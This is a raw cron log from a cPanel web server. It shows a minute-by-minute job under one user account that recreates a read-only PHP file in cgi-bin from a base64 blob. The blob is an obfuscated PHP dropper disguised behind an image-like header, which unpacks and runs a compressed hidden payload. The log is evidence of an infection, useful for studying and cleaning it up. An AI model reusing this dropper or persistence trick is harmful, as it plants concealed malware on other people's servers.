Nov 11 12:28:01 server CROND[14640]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:29:01 server CROND[15442]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:30:01 server CROND[16255]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 11 12:30:01 server CROND[16256]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 12:30:01 server CROND[16257]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 12:30:01 server CROND[16258]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 12:30:01 server CROND[16259]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:31:01 server CROND[17237]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:32:01 server CROND[18067]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:33:01 server CROND[18875]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:34:01 server CROND[19639]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:35:01 server CROND[19865]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 12:35:01 server CROND[19869]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 12:35:01 server CROND[19870]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 12:35:01 server CROND[19868]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 12:35:01 server CROND[19871]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:36:01 server CROND[20524]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:37:01 server CROND[20882]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:38:01 server CROND[21725]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:39:01 server CROND[22545]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:39:01 server CROND[22546]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 12:40:01 server CROND[23028]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 12:40:01 server CROND[23029]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 12:40:01 server CROND[23031]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 12:40:01 server CROND[23032]: (root) CMD (/usr/lib64/sa/sa1 1 1)
